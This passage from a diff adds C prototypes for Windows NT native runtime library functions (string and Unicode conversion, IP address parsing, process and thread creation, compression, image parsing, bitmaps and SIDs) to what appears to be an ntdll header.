+RtlLargeIntegerToChar ( + PLARGE_INTEGER Value, + ULONG Base OPTIONAL, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToUnicode ( + IN PLARGE_INTEGER Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +PSTR +NTAPI +RtlIpv4AddressToStringA ( + IN const struct in_addr *Addr, + OUT PSTR S + ); + +PSTR +NTAPI +RtlIpv6AddressToStringA ( + IN const struct in6_addr *Addr, + OUT PSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExA( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExA( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +PWSTR +NTAPI +RtlIpv4AddressToStringW ( + IN const struct in_addr *Addr, + OUT PWSTR S + ); + +PWSTR +NTAPI +RtlIpv6AddressToStringW ( + IN const struct in6_addr *Addr, + OUT PWSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExW( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExW( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressA ( + IN PCSTR S, + IN BOOLEAN Strict, + OUT PCSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressA ( + IN PCSTR S, + OUT PCSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExA ( + IN PCSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExA ( + IN PCSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressW ( + IN PCWSTR S, + IN BOOLEAN Strict, + OUT LPCWSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressW ( + IN PCWSTR S, + OUT PCWSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExW ( + IN PCWSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExW ( + IN PCWSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + ULONG Value, + ULONG Base, + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlInt64ToUnicodeString ( + IN ULONGLONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + PCUNICODE_STRING String, + ULONG Base, + PULONG Value + ); + +VOID +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +VOID +NTAPI +RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + OUT PANSI_STRING DestinationString, + IN PCSZ SourceString OPTIONAL + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + +BOOLEAN +NTAPI +RtlEqualDomainName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +BOOLEAN +NTAPI +RtlEqualComputerName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +NTSTATUS +RtlDnsHostNameToComputerName( + OUT PUNICODE_STRING ComputerNameString, + IN PCUNICODE_STRING DnsHostNameString, + IN BOOLEAN AllocateComputerNameString + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING DestinationString, + IN PCSZ SourceString + ); + +VOID +NTAPI +RtlCopyString( + PSTRING DestinationString, + const STRING * SourceString + ); + +CHAR +NTAPI +RtlUpperChar ( + CHAR Character + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlPrefixString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +VOID +NTAPI +RtlUpperString( + PSTRING DestinationString, + const STRING * SourceString + ); + +NTSTATUS +NTAPI +RtlAppendAsciizToString ( + PSTRING Destination, + PCSZ Source + ); + +NTSTATUS +NTAPI +RtlAppendStringToString ( + PSTRING Destination, + const STRING * Source + ); + +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + PUCHAR *SourceCharacter + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToCountedUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +LONG +NTAPI +RtlCompareUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlHashUnicodeString( + IN const UNICODE_STRING *String, + IN BOOLEAN CaseInSensitive, + IN ULONG HashAlgorithm, + OUT PULONG HashValue + ); + +NTSTATUS +NTAPI +RtlValidateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *String + ); + +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *StringIn, + OUT UNICODE_STRING *StringOut + ); + +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + IN ULONG Flags, + IN PCUNICODE_STRING StringToSearch, + IN PCUNICODE_STRING CharSet, + OUT USHORT *NonInclusivePrefixLength + ); + +VOID +NTAPI +RtlCopyUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString ( + PUNICODE_STRING Destination, + PCUNICODE_STRING Source + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + WCHAR SourceCharacter + ); + +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + WCHAR SourceCharacter + ); + +VOID +NTAPI +RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + +VOID +NTAPI +RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + +VOID +NTAPI +RtlFreeOemString( + POEM_STRING OemString + ); + +ULONG +NTAPI +RtlxUnicodeStringToAnsiSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxUnicodeStringToOemSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxAnsiStringToUnicodeSize( + PCANSI_STRING AnsiString + ); + +ULONG +NTAPI +RtlxOemStringToUnicodeSize( + PCOEM_STRING OemString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCSTR MultiByteString, + IN ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + PULONG BytesInUnicodeString, + PCSTR MultiByteString, + ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + OUT PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlOemToUnicodeN( + OUT PWSTR UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH OemString, + IN ULONG BytesInOemString + ); + +NTSTATUS +NTAPI +RtlUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString OPTIONAL, + IN PCH MultiByteString, + IN ULONG BytesInMultiByteString, + OUT PULONG pdwSpecialChar ); + +BOOLEAN +NTAPI +RtlIsTextUnicode( + IN CONST VOID* Buffer, + IN ULONG Size, + IN OUT PULONG Result OPTIONAL + ); + +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID* Guid + ); + +VOID +NTAPI +RtlGenerate8dot3Name ( + IN PUNICODE_STRING Name, + IN BOOLEAN AllowExtendedCharacters, + IN OUT PGENERATE_NAME_CONTEXT Context, + OUT PUNICODE_STRING Name8dot3 + ); + +BOOLEAN +NTAPI +RtlIsNameLegalDOS8Dot3 ( + IN PUNICODE_STRING Name, + IN OUT POEM_STRING OemName OPTIONAL, + IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + ); + +VOID +NTAPI +RtlInitializeContext( + HANDLE Process, + PCONTEXT Context, + PVOID Parameter, + PVOID InitialPc, + PVOID InitialSp + ); + +NTSTATUS +NTAPI +RtlRemoteCall( + HANDLE Process, + HANDLE Thread, + PVOID CallSite, + ULONG ArgumentCount, + PULONG_PTR Arguments, + BOOLEAN PassContext, + BOOLEAN AlreadySuspended + ); + +VOID +NTAPI +RtlAcquirePebLock( + ); + +VOID +NTAPI +RtlReleasePebLock( + ); + +NTSTATUS +NTAPI +RtlAllocateFromPeb( + ULONG Size, + PVOID *Block + ); + +NTSTATUS +NTAPI +RtlFreeToPeb( + PVOID Block, + ULONG Size + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + PVOID Environment, + PVOID *PreviousEnvironment + ); + +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PCUNICODE_STRING Name, + PCUNICODE_STRING Value + ); + +ULONG +RtlIsDosDeviceName_U( + IN PWSTR DosFileName + ); + +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PCUNICODE_STRING Name, + PUNICODE_STRING Value + ); + +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + IN PVOID Environment OPTIONAL, + IN PCUNICODE_STRING Source, + OUT PUNICODE_STRING Destination, + OUT PULONG ReturnedLength OPTIONAL + ); + +VOID +NTAPI +PfxInitialize ( + PPREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +PfxInsertPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING Prefix, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +PfxRemovePrefix ( + PPREFIX_TABLE PrefixTable, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING FullName + ); + +VOID +NTAPI +RtlInitializeUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +RtlInsertUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING Prefix, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +RtlRemoveUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING FullName, + ULONG CaseInsensitiveIndex + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + BOOLEAN Restart + ); + +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize ( + IN USHORT CompressionFormatAndEngine, + OUT PULONG CompressBufferWorkSpaceSize, + OUT PULONG CompressFragmentWorkSpaceSize + ); + +NTSTATUS +NTAPI +RtlCompressBuffer ( + IN USHORT CompressionFormatAndEngine, + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG UncompressedChunkSize, + OUT PULONG FinalCompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDecompressBuffer ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + OUT PULONG FinalUncompressedSize + ); + +NTSTATUS +NTAPI +RtlDecompressFragment ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedFragment, + IN ULONG UncompressedFragmentSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG FragmentOffset, + OUT PULONG FinalUncompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDescribeChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + OUT PULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlReserveChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + IN ULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlDecompressChunks ( + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN PUCHAR CompressedTail, + IN ULONG CompressedTailSize, + IN PCOMPRESSED_DATA_INFO CompressedDataInfo + ); + +NTSTATUS +NTAPI +RtlCompressChunks ( + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN OUT PCOMPRESSED_DATA_INFO CompressedDataInfo, + IN ULONG CompressedDataInfoLength, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlCreateProcessParameters( + PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, + PUNICODE_STRING ImagePathName, + PUNICODE_STRING DllPath, + PUNICODE_STRING CurrentDirectory, + PUNICODE_STRING CommandLine, + PVOID Environment, + PUNICODE_STRING WindowTitle, + PUNICODE_STRING DesktopInfo, + PUNICODE_STRING ShellInfo, + PUNICODE_STRING RuntimeData + ); + +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSTATUS +NTAPI +RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSTATUS +NTAPI +RtlCreateUserThread( + HANDLE Process, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + BOOLEAN CreateSuspended, + ULONG StackZeroBits, + SIZE_T MaximumStackSize OPTIONAL, + SIZE_T InitialStackSize OPTIONAL, + PUSER_THREAD_START_ROUTINE StartAddress, + PVOID Parameter, + PHANDLE Thread, + PCLIENT_ID ClientId + ); + +VOID +NTAPI +RtlExitUserThread ( + IN NTSTATUS ExitStatus + ); + +VOID +NTAPI +RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread + ); +/* +PVOID +NTAPI +RtlPcToFileHeader( + PVOID PcValue, + PVOID *BaseOfImage + );*/ + +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + ULONG Flags, + PVOID Base, + ULONG64 Size, + OUT PIMAGE_NT_HEADERS * OutHeaders + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + PVOID Base + ); + +PVOID +NTAPI +RtlAddressInSectionTable ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +NTSTATUS +NTAPI +RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size + ); + +PVOID +RtlImageDirectoryEntryToData32 ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva + ); + +PVOID +NTAPI +RtlImageRvaToVa( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva, + IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL + ); + + +VOID +NTAPI +RtlCopyMemoryNonTemporal ( + VOID UNALIGNED *Destination, + CONST VOID UNALIGNED *Source, + SIZE_T Length + ); + +VOID __fastcall +RtlPrefetchMemoryNonTemporal( + IN PVOID Source, + IN SIZE_T Length + ); + +SIZE_T +NTAPI +RtlCompareMemoryUlong ( + PVOID Source, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlong ( + PVOID Destination, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlonglong ( + PVOID Destination, + SIZE_T Length, + ULONGLONG Pattern + ); + +VOID +NTAPI +RtlInitializeExceptionLog( + IN ULONG Entries + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter( + IN struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter2( + IN struct _EXCEPTION_POINTERS *ExceptionInfo, + IN PCSTR Function + ); + +VOID +NTAPI +DbgUserBreakPoint( + VOID + ); + +VOID +NTAPI +DbgBreakPointWithStatus( + IN ULONG Status + ); + +ULONG +DbgPrintEx ( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + ... + ); + +ULONG +NTAPI +vDbgPrintEx( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +NTAPI +vDbgPrintExWithPrefix ( + IN PCH Prefix, + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +DbgPrintReturnControlC ( + IN PCHAR Format, + ... + ); + +NTSTATUS +NTAPI +DbgQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + +NTSTATUS +NTAPI +DbgSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + +ULONG +NTAPI +DbgPrompt ( + IN PCH Prompt, + OUT PCH Response, + IN ULONG Length + ); + +VOID +NTAPI +DbgLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgUnLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgCommandString ( + IN PCH Name, + IN PCH Command + ); + +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + PTIME_FIELDS CutoverTime, + PLARGE_INTEGER SystemTime, + PLARGE_INTEGER CurrentSystemTime, + BOOLEAN ThisYear + ); + +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime ( + IN PLARGE_INTEGER SystemTime, + OUT PLARGE_INTEGER LocalTime + ); + +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime ( + IN PLARGE_INTEGER LocalTime, + OUT PLARGE_INTEGER SystemTime + ); + +VOID +NTAPI +RtlTimeToElapsedTimeFields ( + IN PLARGE_INTEGER Time, + OUT PTIME_FIELDS TimeFields + ); + +VOID +NTAPI +RtlTimeToTimeFields ( + PLARGE_INTEGER Time, + PTIME_FIELDS TimeFields + ); + +BOOLEAN +NTAPI +RtlTimeFieldsToTime ( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1980ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1970ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + OUT PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + IN PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetActiveTimeBias( + IN LONG ActiveBias + ); + +VOID +NTAPI +RtlInitializeBitMap ( + PRTL_BITMAP BitMapHeader, + PULONG BitMapBuffer, + ULONG SizeOfBitMap + ); + +VOID +NTAPI +RtlClearBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlSetBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +BOOLEAN +NTAPI +RtlTestBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlClearAllBits ( + PRTL_BITMAP BitMapHeader + ); + +VOID +NTAPI +RtlSetAllBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlFindClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindClearBitsAndSet ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBitsAndClear ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +VOID +NTAPI +RtlClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToClear + ); + +VOID +NTAPI +RtlSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToSet + ); + +ULONG +NTAPI +RtlFindClearRuns ( + PRTL_BITMAP BitMapHeader, + PRTL_BITMAP_RUN RunArray, + ULONG SizeOfRunArray, + BOOLEAN LocateLongestRuns + ); + +ULONG +NTAPI +RtlFindLongestRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlFindFirstRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlNumberOfClearBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlNumberOfSetBits ( + PRTL_BITMAP BitMapHeader + ); + +BOOLEAN +NTAPI +RtlAreBitsClear ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +BOOLEAN +NTAPI +RtlAreBitsSet ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +ULONG +NTAPI +RtlFindNextForwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +ULONG +NTAPI +RtlFindLastBackwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +CCHAR +NTAPI +RtlFindLeastSignificantBit ( + IN ULONGLONG Set + ); + +CCHAR +NTAPI +RtlFindMostSignificantBit ( + IN ULONGLONG Set + ); + +BOOLEAN +NTAPI +RtlValidSid ( + PSID Sid + ); + +BOOLEAN +NTAPI +RtlEqualSid ( + PSID Sid1, + PSID Sid2 + ); + +BOOLEAN +NTAPI +RtlEqualPrefixSid ( + PSID Sid1, + PSID Sid2 + ); + +ULONG +NTAPI +RtlLengthRequiredSid ( + ULONG SubAuthorityCount + ); + +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlInitializeSid( + OUT PSID Sid, + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount + ); + +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid ( + PSID Sid + ); + +PULONG +NTAPI +RtlSubAuthoritySid( + IN PSID Sid, + IN ULONG SubAuthority + ); + +PUCHAR +NTAPI 